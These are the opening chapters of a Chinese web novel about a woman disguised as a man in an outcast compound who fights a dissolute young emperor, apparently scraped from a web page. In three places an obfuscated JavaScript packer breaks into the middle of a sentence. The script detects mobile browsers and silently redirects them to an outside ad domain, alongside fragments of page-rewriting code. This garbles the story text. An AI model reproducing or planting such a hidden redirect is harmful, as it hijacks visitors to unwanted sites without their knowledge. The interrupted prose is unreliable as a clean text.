《女扮男装拿捏纨绔昏君》 1. 罪臣录 清明,倒春寒。 帝京昨夜刚经历过一场稀薄的冻雨,地面微湿了薄薄一层,整个笼罩在阴冷的寒气中。 天还未大亮,达官显贵尚在睡梦中安眠,地处偏僻的贱民所——北司圜却早已苏醒。 佝偻着腰的粪夫推着板车缓慢穿行过泥泞小道,正挨家挨户收集夜香。 老旧的车轱辘吱呀作响,路过一处茅草屋时,惊醒了里面正伏案休息的人。 她瘦削的肩膀动了动,一双秀气的眉毛微微蹙起,缓缓睁开血丝遍布的双目,却又被窗楞漏进来的明亮刺得涩疼流泪,闭眼缓了几许方复适应。 眼瞳乌黑而茫然,刚从梦魇的泥沼里拔出来的意识并不分明,仍然一片混沌。 柳齐欢尚且分不清现实与梦境,只是茫然地抬手摸向自己的头脸。 发带,圆髻,男子装扮的束发,没有珠钗绒花。 身上衣料还是叠着补丁的蓝色粗织麻布,不似梦中华服锦绣。 她支起上半身环顾四周,依然处于北司圜的破茅屋,身旁并没有满地鲜血,也没有可怖的尸体。 待看清自己的处境,柳齐欢才反应过来是又做了噩梦。 她眼中的惊惧些微褪下去几分,抬手按住心跳有些急促的胸口,刚想深呼吸一口平复那处的不适,反被寒凉的晨气刺激得咳嗽起来。 声声冲破胸腔,仿佛用刀片刮擦过气管,口中弥漫着好似锈蚀的味道。 柳齐欢轻捶着胸口止咳,恰在此时,屋门“咚咚”敲响,外头传来熟悉的声音: “齐欢哥哥,你在家吗?” 她听出了是谁,强压着咳嗽忙应了一声,一边揉着因趴了几个时辰而酸痛不已的肩膀,一边起身走到门前。 撤下门上自制的锁扣,她一如往日先拉开条门缝,压低声线询问:“……鸿儿?” “是我!” 门口站着的半大少年精神十足地跟她打招呼,身量不过十岁出头的模样,瘦骨嶙峋,衣衫破烂,补丁叠着补丁。 一张脏兮兮的小脸瘦得两腮都凹陷进去,显得一双乌黑的眼瞳格外大,正咧着嘴笑:“能进去吗?” 柳齐欢见只有他一人,放心地拉开门,对方搓搓冻僵的双手进了屋。 陋室老旧透风,就算关门闭窗也与外面差不多的温度,阴冷冷的。室内陈设十分简朴,几乎一览无余。 齐鸿的视线先落在对面窗前的桌案,上面摆放的油灯早已经烧干,陶碗里的墨汁紧巴巴地凝固在碗壁,一旁放着张状纸,密密麻麻地写满了字。 “哥,你是不是又写了一宿的诉状啊,风寒还没好利索呢,咋就……哎,怎么还是杨大娘告陈家公子打死人的那份?她又出不起钱,你还费那个心做什么?” 他说着,拎起桌上的状纸,横看竖看。 上面的有些字,齐欢哥哥曾经教过的,他能认得,但大多数字还是认不得,念起来文绉绉的也不解意思。 “杨大娘寡居可怜,儿子又遭逢不测,咱们邻里街坊的,想着能帮就帮帮了。”柳齐欢把昨晚特意留出来的两个窝头放进锅里,又往快要熄灭的灶膛里添了把柴,“一大早来就是问这个么,吃饭了没有?” “没吃呢!我就是觉得你是白替他们写,谁愿意帮咱们贱民申冤啊?而且你自己都病着呢,还要操心这些个……” 齐鸿嘟嘟囔囔,把看不明白的状纸放回案上,又从怀里掏出一包东西:“喏,我带了这个给你呢。” 她低头一看,只见对方皲裂的小手捧着泛黄的桑皮纸。里面躺着几样药材,都是治疗风寒体弱一类。 零零碎碎的一把,明显不足药方称。 看清是何物后,柳齐欢问道:“这是从哪里来的?” “捡来的。” “捡?鸿儿你莫要跟我撒谎。”她虽然表情温和,神情却郑重,“药材贵重稀缺,咱们圜里又没有医馆大夫,你也无银钱,哪里可以捡得?” 齐鸿把药包塞她手里,解释道:“哎呀,就是从咱们贱民所后门街上那个药堂嘛!昨个儿我翻出围墙去,见堂子里的学徒把晒得一些剩碎的药材都挑拣出来扔了,我瞧着怪可惜就捡回来了。想着正好你会分辨药材,说不定能用得上的!” 见柳齐欢没反应,他忙又补充:“真是捡的!自从跟了你,我就不干那偷鸡摸狗的事儿了!” 先前他是游荡在这里的贱民孤儿,无父无母主要靠偷窃为生。因为没名字,所以周围人都管他叫没娘的野狗。 有一回饿急了偷到侍卫房里,不慎被抓了现形,差点没打死,得亏被面前人给救了,才侥幸活下来。 他心里记着救命的恩情,相熟以后,发现对方识文断字,就缠着给起了名字,又自行决定随了“齐”的姓氏认作哥哥,直到现在。 “我齐鸿对天发誓,要是偷来的就变成赖皮狗,你就信我嘛!” 柳齐欢本担心他又行偷盗,但见其信誓旦旦,又检查药包里确实有些细小石子,思忖着点了下头: “既然你如此说,我便信你。” 齐鸿立马眉开眼笑:“那咱们挑挑里面有没有能治你病的药!刚我在外头就听见你又咳嗽,可别是加重了!” “不着急。”她把热好的窝头与咸菜摆上矮桌,拉过对方坐下,“先吃点东西垫垫吧。” 齐鸿的肚子早就饿得咕咕叫,也不客气,拿起窝头就着咸菜就大口啃起来。 见其一副狼吞虎咽的样子,柳齐欢摸了摸他的脑袋:“慢点,别噎着,又多久没吃饭了?” “也就两天!”齐鸿满不在乎地边吃边说,“本来翻墙出去是想着弄个活计糊口,可外面人一听我是从贱民所里出来的,就都不要我!回来好不容易碰到个帮人搬东西的活,他们又嫌弃我力气小……大哥你也吃啊!” 他囫囵说着,见身旁人只是听着,也不动筷,便把盘子往她面前推了推。 “我不饿,你吃吧。”柳齐欢提起茶壶倒了两碗水,“你跟外面的人说是从这里出去的,他们没抓你么?” “没抓到,我跑得可快了!” “这两日看守松懈吗?” “是较往常松点,好像说帝京最近命案多,所以抽调了不少人手。” “命案?”她停住了喝水的动作,注视着对方,“仔细讲讲。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189725|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 齐鸿咽下嘴里的饭菜,想了想道:“其实也没什么特别的,就是听说有些流窜作案的外地人趁着前阵子上元节混进了城里,劫财杀人,闹出过两三起事了……不过跟咱们没关系,谁会来又穷又乱的贱民所抢钱啊?” “大哥你问看守,是不是想出所啊?我跟你说,等再过半个时辰,侍卫们会换班,等那时候从东侧门偷溜出去就成!” “嗯,我今日确实有点私事要办。” 见他吃光了窝头咸菜,柳齐欢将桌案上的状纸折了三叠,递给他:“还得再多麻烦你跑趟腿,把这状子给杨大娘过目,告诉她若是有什么问题我再修改。” 齐鸿擦了把嘴,接过状纸妥帖地收进怀里,拍拍胸脯道:“交给我就放心吧,我这就先拿去给杨大娘瞧瞧。” 送走他后,柳齐欢便也收拾一番出了门,沿着小路往东边去。 这北司圜占地不到三百亩,主道却只有一条,横贯南北。本是一处牢狱,被改造成圈禁围场后,便成了最低等人的聚集地,用作劳教。因居民基本都是贱民,故而又称“贱民所”。 寻常日子这里是禁止随意进出的,就算逢元月清明,凡要出入也都需报备。柳齐欢要去的地方特殊,清楚侍卫根本不会批准,所以只能做此法。 步行来到东侧门,果然如齐鸿所说正在换班,她赶紧趁着没人注意的空隙悄悄离开北司圜,直往午门方向去。 两处距离不算远,她走了不多时,远远望见灰白色的石柱塔尖,不禁加快了脚步。 抵达午门,映入眼帘的便是一座高耸的黑色花岗岩石碑。 石碑高约十余丈,宽约八余丈,孤零零地矗立着,如一堵巍峨的巨墙般遮天蔽日地挡在午门的正南方,任风吹日晒。 其对面则是专门行刑的法场,四四方方的大理石台子,两侧树立着是四幢灰白色的盘纹石柱。地面残留着片片红得发黑的痕迹,是经年累月洗不掉的人血。 一南一北,凡是判处了死刑的罪犯,在临死前都会面向黑色石碑低下头颅,忏悔其罪。 ——这是大梁王朝用以警醒世人告诫百官的《罪臣录碑》,也是遭万民唾骂的“耻辱柱”。 最上面一排篆刻的是名姓,有数十之多,大都曾封官拜相,下方记录的则是他们所犯的累累罪行以及凄惨的最终下场。 柳齐欢静静地立在台阶下,抬起头仰望面前的石碑。 春寒料峭,破旧的衣衫单薄,裹着湿意的风吹透了身子,冷得麻木,可她却像是毫无所觉。 目光一行一行地从右及左缓慢划过碑面,最终凝固在中间的那个名字,久久停留。 柳稷安。 黑底白字,在阴云密布的昏暗苍穹下显得格外冰冷不祥。深深凹陷的痕迹仿佛是以怨恨作刀硬生生刻下,无法抹除,永世不得翻身。 记得母亲曾说,社稷为安,天下齐欢,这是父亲当年给他们两个起名时的期盼。 后来兄长承恩入仕,官至正五品内阁大学士,也始终谨记教诲奉行忠廉为官的原则,从未行差踏错。 可如今,哥哥却被扣上奸佞的罪名,钉在这“耻辱柱”上。 2. 贱民所 柳齐欢永远也忘不了那一天。 她远在千里之外的书院求学,忽然收到驿站传来的家书。 老管家捎来消息说,兄长死了。 等她快马加鞭连夜赶回帝京时,却只剩下贴满封条人去楼空的柳府。 因不清楚到底发生何种变故,她多方辗转打听,才知朝中爆发了一场名为“肃清”的政/治/斗争,以除奸佞、清君侧之名,雷霆之举查抄贪官污吏,而兄长就消失在这场混乱中,活不见人死不见尸。 当时在位的先帝下诏:念及忠烈侯镇远大将军柳隆战死沙场,护国有功,罪臣柳稷安业已就地正法,因此其贪赃枉法、结党营私、谋逆之罪祸不及九族,所有奴仆没为官奴,家产全部充公。 肃清结束后,兄长的名字便出现在大梁“罪臣录”上以示警告。 一时之间,昔日称赞他温润如玉、善待贫民、清廉父母官的言论都一边倒向了咒骂,骂他奸臣窃国、道貌岸然、人面兽心。 可她根本不相信世人所说。若兄长真是奸佞贪腐之辈,柳府为何连一两赃银、一封谋反密信都没抄出来?为何未经三法司三堂会审,就将他即刻处死,连尸体都没有? 柳齐欢伸出手,颤抖地抚摸着石碑。 她无法触碰到高处的那个名字,指腹底下只有“罪死”二字。 自从父母意外去世后,兄长一直小心翼翼地守护着柳府,从未对外公开过自己的存在,所以她才能够幸免于难。 可同样的,她也无法以柳家人的名义为兄长守灵办丧,只能隐姓埋名独自苟活世间,偷偷在清明这一日来此祭拜。 “小妹放心,有哥哥在便会照顾你一辈子。要是想外出念书,哥哥也不拦着你,我会送你去最安全的地方。到了那边,记得保重身体,常回信。” 没想到离家前兄长说的最后几句嘱咐竟成了遗言,音容笑貌犹在昨日,如今却天人永隔,唯剩断壁残垣。 昨夜她又梦见了昔日年少时光,可最后却还是变成了横尸一具的噩梦。 柳齐欢潸然落泪,却不敢哭出声来,怕引起注意。 见有陌生人过来了,也只能连忙用袖子擦了擦眼角,收拢起情绪,掩面匆匆离开午门。 沿路避开人群回到了贱民所,她差点撞上巡逻的队伍,慌忙躲到角落观察。 本打算找个侍卫换班的机会潜入,却发现门口并没有守卫,反而里面正聚集着一堆人。 只见三五个看门的侍卫正围着一老一少,似乎是爷孙俩,吵吵嚷嚷动静不小。 “官爷,求求各位官爷通融通融,让小人出去寻个先生写封书信,孩子的父母还惦念他……” 头发花白的老人拉着小孙子颤颤巍巍地跪倒在地上,连连磕头,十分可怜地祈求着。 可侍卫们不但不松口,反而还大肆嬉笑。 “滚远点!凭你们也想出去?别打扰了老子们去赌钱吃酒!” 老人苦苦哀求:“官爷,求您了……” 侍卫抡起刀鞘抽打了一下对方弓起的脊背,气势汹汹:“要是再不滚,别怪老子不客气!” 旁边的小孙子被老人护在怀里,唬得缩成一团哇哇大哭:“别打我爷爷……” 侍卫暴躁地骂骂咧咧,柳齐欢凝神听了几句,便明白是这群侍卫又在欺负贱民。 她抬眼扫视面前的围墙,左右望望见附近没人,便踩着石头爬上去,使劲翻过围墙落地。 拍拍身上的尘土,她假装像是刚从里面出来的一样,走到那群人面前。 “陈大叔,您原来在这儿啊,可让我好找!大娘有事找您,快跟我回去吧!” 她一边将编好的话说出,一边上前搀扶起老人和孩子,尽量低着头不去瞧那些侍卫。 谁想对方却挡住了去路:“呦,这不是探花郎么,怎么跟贱民们混一块儿了啊?” 那为首的侍卫语气颇为嘲弄,柳齐欢只当没听见,不作声。 “看我这脑子!差点忘了,探花郎如今可是贱民呐!” 对方故作惊讶地招呼同伙围过来,大声道:“来来来,都过来!今儿个,我给你们隆重介绍这位齐大公子!可别小瞧了人家,平日里可是清高得很,见都见不上呢!” 听到这话,柳齐欢抬起头,一眼认出对方丑恶的嘴脸。 之前杨家的儿子被纨绔公子殴打取乐,就是这个看守拦着杨母,不准外出请大夫,最终害得那孩子不治身亡。 杨母想要状告杀人凶手,却反被此人从中作梗导致申冤无门,景况凄惨可怜。 “瞪什么瞪!” 那看守早就看柳齐欢不顺眼,此刻见她死盯着自己,登时拉高嗓门恐吓: “听说你最近在给杨家那老寡妇写诉状?怎么,还想着状告陈员外家的公子?也不看看自己是什么东西,仗着认识几个字就敢出风头,信不信我先废了你!” 柳齐欢冷眼瞪着对方,余光防备着周围几人。 她势单力薄,又要顾及着老人孩童,动起手来只会吃亏。因此,并没有为了这几句嘲弄之语作口舌之争,而是紧张着精神,盘算该如何脱身。 看守见其没反应,以为吓怕了,正巧想在手下面前逞威风,抡起胳膊就准备教训她。 他长得人高马大,沙包大的拳头挥舞起来带风。 柳齐欢早做好了防备,护着爷孙二人向右侧方后退一步,堪堪躲过了第一下。 可对方到底是练过拳脚,立马再度袭击。 她心知这回恐怕躲不过去,双臂护前,暗地里抬腿就预备给其□□一脚。 就在拳风快要逼近面门之时,突然一侍卫慌里慌张冲过来:“看守大人,常懿公子出事了!” “常公子?在哪儿?” 看守一听来报,猛然停住攻势,柳齐欢要踢出去的动作也忙刹住。 “在大门那儿开赌局呢!有贱民闹事!” “操鬼的,还不快跟我过去!” 他骂完这句,顾不上眼前的事,赶忙带着手下就赶往正大门。 见他们走远,柳齐欢绷紧的神经才终于松懈下来。 也不知那什么常公子是何来头,竟然让这看守像是见了亲爹一样迎上去,十有八九也是个跟陈员外的杀人犯儿子一样的纨绔子弟,不然也不会来这贱民所开赌局…… 她心里暗骂一句“苍蝇抱了臭鸡蛋”,转身安抚旁边瑟瑟发抖的爷孙俩: “趁他们都走了,你们也赶紧回去吧。” “谢谢恩公!谢谢恩公!”老人哆嗦着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189726|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手拉着柳齐欢道谢,“要不是您出面解围,我和小孙子恐怕要被他们给打死了。” “多谢、谢哥哥。”小孩抱着爷爷的腿,结结巴巴地跟着谢。 “不必客气,我也没帮上什么忙。不知你们为何与他们起了冲突?” 老人摇了摇头,指着自己的孙子叹道:“先前我们主家被朝廷给抄了,连带旁支亲戚和下人们也卖的卖,死的死。他爹娘倒还活着,只是落为南地的官奴,快三年了都没能见上一面。我原是想出门寻个人帮忙写封书信寄给他们,谁想到如今连往外带个消息都难唉……” 听了这话,柳齐欢心中有些酸涩。 面前老人又求道:“恩公小兄弟,我方才听这几个人说,您识得字,不知道能否麻烦您帮忙……” 他面露为难,欲言又止。 柳齐欢大概猜测得出对方所求,大约是囊中羞涩而难言。 毕竟在贱民所也需要替官家干活才能勉强赚点钱养家糊口,这一老一少的情况明显过得十分艰难。 “不麻烦。我这里正好有纸笔,您要对家里人说什么,我帮您写。” 她从怀里抽出一卷粗草纸和用木炭磨成的炭笔,将老人口述的几句内容记录下来,又带他们去找了个负责运送恭桶的粪夫帮忙,偷偷将信送了出去。 二人要给钱时,她拒绝了,又拿出二十余文铜钱给对方。爷孙俩推辞不过,收了后,又是好一顿千恩万谢。 柳齐欢望着他们互相搀扶着远去的背影,心下叹了口气。看看天色已到晌午,轮到她去接替舂米的工作了。 她前往舂米所,路上步子沉重,心事重重。 刚才老人的话,其实触动了她内心的痛处,勾起了过去的回忆。 自家何尝不是被抄家灭门,不仅兄长死因成谜,害得奴仆也都沦为官奴。 管家丫鬟婆子们都是从小看着自己和哥哥长大的家生子,如今不知道他们都去了何方,又是否还活着,有没有受折磨…… 想着想着,她又忍不住掉下泪来,及到了舂米所都没能平复心绪,以至于里面的两个贱民看到她的样子,当场就开始阴阳。 “真晦气,一进门就哭丧着个脸!咱俩快躲着去!” 那俩人把舂米的工具丢下就走,柳齐欢没什么心情跟他们掰扯,见地上撒着糠麸谷粒,便蹲下身子一一分拣进麻袋里。 随后,她就开始按照往常的步骤,脚踩千斤重的石臼,捣去稻谷皮壳,再将剥离出来的新米收集起来,用麻袋装好,整齐地堆到一边。 这些米粒颗颗白润光洁,却并不是给贱民吃的。每当积攒够数,便会由管事的太监们来领走,将米粮运回皇城,供应宫内主仆食用。 北司圜里的每名贱民分领的活计都不同,而且没有公平可言,脏活累活普遍是分给贱民中最低等的人群,这些人要么是罪犯,要么是被贬,要么是世代奴隶。 柳齐欢也是其中之一,因为她是被先帝亲自下旨贬为的贱籍。 捶打了半天,她的额头逐渐渗出薄汗,身体还没完全好,所以干起活来着实吃力。 正考虑要不要暂时休息一会儿时,门外却蓦地传来嘈杂的争吵打砸声,接着就听到有人叫她。 “齐欢哥哥,救我!” 3. 小毛贼 半个时辰前。 齐鸿斜倚靠在一条胡同口,小小的身量笼罩在墙面的阴影中,他明亮的眼睛聚精会神地盯着贱民所正大门偏侧的一角。 那里正在热火朝天地开着赌局。 他从柳齐欢那里离开,给杨家大娘送完诉状后,便晃悠到各处去继续找正经活计,结果又碰了一鼻子灰。 不得已,只好到贱民所边界设的那处地下赌坊,问里面招不招打杂的。 他想着,毕竟不能总靠着齐欢哥哥养活,对方也不宽裕。何况自己算算也快十四岁了,手里没点钱可不行。 那老板倒是没拒绝他,但说只要干“抽底”的,就是帮着出老千。 “野狗子,抽底这活儿可没那么好干。要招子毒,还得手法灵,我也要先瞧瞧你的绝活才行。咱知道你小子以前是惯偷,这会子先去前大门学人家怎么个赌法,然后从庄家身上偷块值钱的物件来,当作是投名状。这样我才能收你。若是干好了,一个月可是这个数!” 对方摇着烟袋锅子比划了五个指头,价钱足够养活两个齐鸿。 他本不想做这活,三教九流的太乱,但回想天天饿肚子的苦,还是打算试试。就是没想到对方提出的条件,有些让人为难。 他答应过齐欢不再偷东西,所以现在犹豫得很,踌躇了半天也没下定决心,只好先到正大门附近暂时观察观察情况。 “一三五六,三摇定财!快快快,押大押小,买定离手!” “开!开!大!大!……哎呀,又是小啊!给钱给钱!” 东下那一角吆五喝六的,吵闹非常。 大约有十来个男人聚在那里玩赌大小,正中摆放着一张木桌,上头堆着铜钱碎银首饰等各色筹码,有三五个是侍卫官服打扮的人,其余则是贱民。 他们衣着破烂,露在外面的皮肤枯瘦黑黄,关节骨头都鼓突出来,一看平日里就没少辛苦劳作。 此刻一个个撑着熬了半宿透血的双眼,焦躁地拍打桌子,围在庄家的四周叫他快点揭盅,眼中只有贪婪。 担任庄家的是个年轻男子,着一身圆领窄袖的侍卫打扮,与圜里的看守差不多,但脚踩官靴,服制也更高。 他样貌出众,身形挺拔,就算站在人堆里也格外惹眼。虽然在随意地摇晃骰盅,但动作潇洒利落,举手投足之间明显透着几分雍容贵气。 骰盅落下,径直倒扣。 他白净修长的手指轻点了两下桌面,凌厉的双目扫视一圈众人:“买大买小?” “大!” “小!” “见鬼!又错了!姓常的,你是不是出老千?” 趿拉着破洞草鞋的黄牙老汉指着庄家男子叫骂。 旁边参与赌局的侍卫脸色一变,刚要开口,却被制止。 “赌输了就污蔑别人出老千,玩不起?” 傅常懿甩开刚赢来的破折扇,挡住对方飞溅的唾沫星子,嫌恶地“啧”了一声:“我说,老鬼你今天赌太多了吧,还有钱吗?不如早点回家算了!” 旁边的人闻言都嘻嘻哈哈跟着奚落:“要么赌,要么滚,别在这扫兴!” “少瞧不起我!” 老汉怒瞪着周围人,往身上摸索了半天,最后从内袋里掏出个发黑的细圈刻花银镯,一把拍到桌上,恶狠狠道:“老子今天就用这玩意儿押把大的,绝对回本!” 傅常懿瞟了眼那镯子的圈口,用短耙子往外一推,笑容透着轻蔑:“把闺女的东西都偷出来赌,你也不怕输光了!” “少废话!开大!快开!” 对方赌红了眼,死死盯着骰盅,大气不敢喘一口。 然而,等骰子露出来,上面却是整整六个红点。 他不相信地使劲揉了揉眼,确实是“小”。 “一二三,六点小。镯子我可收下了!” 看着面前老鬼头脸上错愕的表情,傅常懿冷冷一笑,准备收了筹码,给他个教训。 “不行!这是要卖了钱给我闺女治病的!” 老汉忽地大叫一声,胡乱抓起桌上的铜钱银镯子就跑,其他人也纷纷跟着哄抢。 转眼间,赌桌乱成一团。 远远瞧见这边的动静,看守带着手下迅速冲过来,对着面前这些贱民们一顿踹踢鞭打: “干啥呢!都围在这里不用干活了?还不快散了!滚犊子!” 傅常懿抽出自己别在腰间的玉骨折扇甩开,摇着扇子悠闲地移到一旁看戏,时不时被那些在地上翻滚求饶的赌徒逗得哈哈大笑。 看守驱赶着众人,见他这般高兴,忙搓搓双手殷勤地凑过来:“常公子大驾光临,小的们有失远迎!您没伤着吧?” 他不在意地摆摆手,依然兴致勃勃地看戏。 看守瞧着其幸灾乐祸的兴头,小意奉承道:“公子您身份金贵,外面那些秦楼楚馆戏园子的多好逛,何苦老来这地方?真怕这些个腌臜东西哪天不小心冲撞了您!” 傅常懿斜他一眼,哼道:“本公子要是不来,你哪有银子收啊?” 兜里还装着那鼓鼓囊囊的钱袋,看守躬着身子连连陪笑: “说的是!说的是!咱们就是怕有不长眼的贱东西搅了您的兴致!那些筹码,我们去帮您追回来?” “不必了,都是些破玩意儿,我可瞧不上。” 他本意就不是来赌的。现下将手里的扇子一合,敲打了两下对方脑袋上的顶戴,一脸的玩世不恭:“本公子就是爱看戏!尤其是些狗咬狗的好戏!懂了吗?” 看守虽然不怎么明白这有什么好看的,但也低三下四地跟着频频点头:“懂!懂!那常公子今日可看的尽兴?” “凑合吧。” 赌徒们输光了钱,又挨了打,没了兴致便各自散去。 傅常懿伸了个懒腰,随手把玉骨扇丢给对方。 “等回头你们好好教训教训那个老鬼,镯子就别收了,小姑娘的东西。顺带多提醒提醒他,不该偷的东西别偷,不该赌的别赌,知道了吗?” 看守一摸扇骨扇坠就知道价值不菲,这意思便是赏了他。本就堆满了笑的脸立马又多了几道褶子,忙声应“是”。 傅常懿看够了戏,瞧着挂在天边的日头,左右也玩累了,便打算回宫。 一直躲在角落的齐鸿瞅着他要走了,视线下落紧盯其腰间。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189727|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不识得对方身上的官服纹样特殊,只当是官阶大一点的侍卫。见其刚刚抽折扇的时候,带出来了半截明黄色的绞丝金线挂绳。 而那黑底银织的腰带外侧,微微凸起一块,似乎夹着东西。 傅常懿闲庭信步地抬腿往大门走,看守像条尾巴似的跟随,舔着脸问要不要叫辆马车来接。 “不必,你且去吧。” 他挥手让看守滚了,心里正考虑回宫后要不要再叫几个世家子弟来斗蛐蛐,突然听到身后有轻微的脚步声。 傅常懿疑惑回头,却只来得及看清道黑影钻进巷口。诧异了一瞬后,他像是忽然想到了什么,立马摸向腰间。 原是出宫临时让太监借来府卫军的衣裳替换,匆匆把赘余的宫绦首饰类都解了,只余母后遗下的玉佩塞在紧实的腰带里贴身随着。 傅常懿一摸东西没了,暗道不妙,急忙追上去。 北司圜的面积相当大,他虽来过几回却并不熟悉。 绕着胡同七拐八拐追踪了半天,才终于在一处茅棚附近逮住贼人。 “可抓着你了!”傅常懿长臂一伸揪起齐鸿的领子,跑得气喘,“臭小鬼,偷东西敢偷到朕头上来,还我玉佩!” 齐鸿满眼惊慌失措,没想到对方能追得如此快,根本没听清他说的什么,只是死死攥紧拳头,浑身扭动着疯狂挣扎。 “放开我!放开我!” 傅常懿见其闹腾,于是直接掰右手,想要把齐鸿偷走的玉佩夺回来。 可没想到对方看着也就十岁小孩模样,竟然像只炸毛的小野兽般,野蛮至极,张嘴就咬。 他吓得丢开手。齐鸿落地,拔腿就跑,结果没冲出去两步,就感到后背一痛,整个人踉跄着扑倒在地。 傅常懿一脚踹倒他,踩住其后背,防止其再逃:“臭小鬼还敢跑?让你再跑,赶紧把偷的东西还给我!” 齐鸿像只离水搁浅的小鱼般扭来扭去地扑腾,却发现根本爬不起来,硬梗着脖子反驳:“我没偷!” “没偷那你手里拿的是什么?小小年纪就偷东西还撒谎,你爹娘怎么教你的!” 傅常懿都气笑了,这小兔崽子简直睁着眼睛说瞎话! 齐鸿到底是营养不良力气不够,见挣脱不开,又听到他提起爹娘,登时一股委屈涌上心头,嚎啕大哭。 “我没有爹!也没有娘!齐欢哥哥!有人欺负我!” 他边哭边大叫救命,傅常懿被吵得头疼,也怕引来对方的同伙,便直接蹲下,一手捂住齐鸿的嘴,一手硬生生掰他的指头。 “呜呜呜!” 齐鸿拼命反抗,小脸憋气憋得胀红,拳头却越攥越紧,偏是死活不放手。 就在二人僵持的节骨眼上,傅常懿忽听一声断喝。 “住手,放开他!” 他哪里管什么人来阻止,勾住吊玉佩的金线绳就起劲儿地往外拽。 另一只手也愈发用力,没注意到腿下压着的齐鸿,脸已经被闷得发紫。 就在玉佩快要脱手之际,突然,一道劲风直冲他门面。 傅常懿匆忙抵挡,却没完全防住,腹部挨了一记狠踢,整个人翻倒在地。 4. 还玉佩 紫禁城,养心殿。 刑部尚书卫昶在台阶下守了快半个时辰,终于见御前的秉笔太监出来了,忙上前询问:“孙公公,请问圣上可在殿内?” 孙德升行了个礼,语气十分恭敬:“尚书大人,圣上不在,昨儿个未时就出宫了。” 听到这话,卫昶心里虽然早有准备,但还是忍不住焦躁起来。 难怪昨夜通知说免去了今日早朝,果然这小皇帝又是“微服私访”去了,自己又白白等一回。 “皇帝可说去了何处,什么时候回来?” “回大人,圣上没说去哪儿,也没说什么时辰回来,体察民情劳心劳力,怕是这两日都够呛呐……您要是有折子,可以先交代我这儿。” 二人大眼瞪小眼地一问一答,末了,各自暗叹。 刑部尚书卫昶对于这位未及弱冠之年,又刚登基没多久的新帝,其实内心颇有微词。 傅常懿作为淮南王的独子,自小在淮南放养着长大,从未经受过正统的帝王教育。偏巧高祖皇帝无子嗣,其父亲淮南王幸承了帝位,结果又早死。 因此,现在这位九五至尊可以说是连一天太子都没做过,就直接当上了皇帝。 文武百官都以为他是天子命,个个卯着劲儿在傅常懿面前表现,想要一展抱负。 可惜,在他登基之后,众臣才发现新帝居然是个桀骜不驯的主。行事荒唐无度,整天就知道吃喝玩乐,不学无术。 劝谏了几回后,更是变本加厉。三天两头出宫,完全不理政事,更别说纳妃立后…… 想及此处,他道:“孙公公,待圣上巡访回来,烦请奏明近日京城命案多发,急需商议处理。” “自然!” 送走了刑部尚书,孙德升才算是松了口气。圣上去了何地,其实他心里门儿清。 但他不敢说,因为说了,肯定又要惹得言官们不高兴。 言官们一不高兴,就要递废话连篇的规谏折子。 那些佶屈聱牙的奏折到不了傅常懿的面前,只会先把他这个负责代阅的秉笔太监压得喘不过气来。 所以他不敢告诉任何人,圣上偷溜出宫的去向——若是寻常地界还能稍微提一提,这贱民所可不是皇帝该去的地方。 …… 天光黯淡,阴云低垂。风裹挟着潮湿的寒意,吹卷舂米所棚屋四周垒垛的茅草,拂开散落的谷米碎壳,犹如扬开一地的雪。 傅常懿狼狈地摔倒在草垛,扑打起呛人的尘土。 他狠狠打了两个喷嚏,脑袋一阵发懵,缓了半天才反应过来发生什么事。 自己竟然被打了?! 傅常懿瞪眼看向忽然冒出来的柳齐欢,身板单薄,目测也就到自己下巴高的个头。 一身廉价的靛蓝粗布,灰麻色的裤脚扎到小腿,破旧的黑布鞋上沾着米糠麸皮,显而易见是跟舂米运粮之类活计常打交道的贱民。 他震惊于对方的大胆,贱民所里可从没有人敢招惹他,这家伙是头一个! 傅常懿见柳齐欢把那偷玉佩的贼崽子扶起来检查,连甩都没甩自己这边一眼,不禁火起。 哪儿来的贱民野小子,胆敢如此以下犯上! 顾不上腰腹还在隐隐作痛,他“噌”地一下站起来,撸起衣袖就要给对方点颜色瞧瞧。 刚一近前,柳齐欢便抬起了头。 她的面容直直撞入傅常懿的眼中,后者蓦然愣住。 面前人看起来不过十六七岁的模样,估摸因常年营养不良的缘故而有些纤瘦,不像寻常男子那般骨架粗犷。 虽然瘦削的一张脸被灰尘所掩盖,却掩不住其精致如画的五官。柳叶细的剑眉斜飞入鬓,下有一双水作的桃花眸,眼眸晶亮。 明明应该是多情眼,却生生透出股清冷疏离的英气来。 瞧着年纪也不大,眼神却比同龄人锐利老成得多,冷冰冰的目光充满警惕。 傅常懿注意到其左眼下方有颗小小的泪痣,莫名就想起太傅在讲面相时曾说过,怀此痣者多泪苦。 看清其长相的瞬间,他心里涌起来股非常奇怪的感觉。 总觉得眼前少年的容貌有一丝熟悉,似乎在哪里见过一般…… 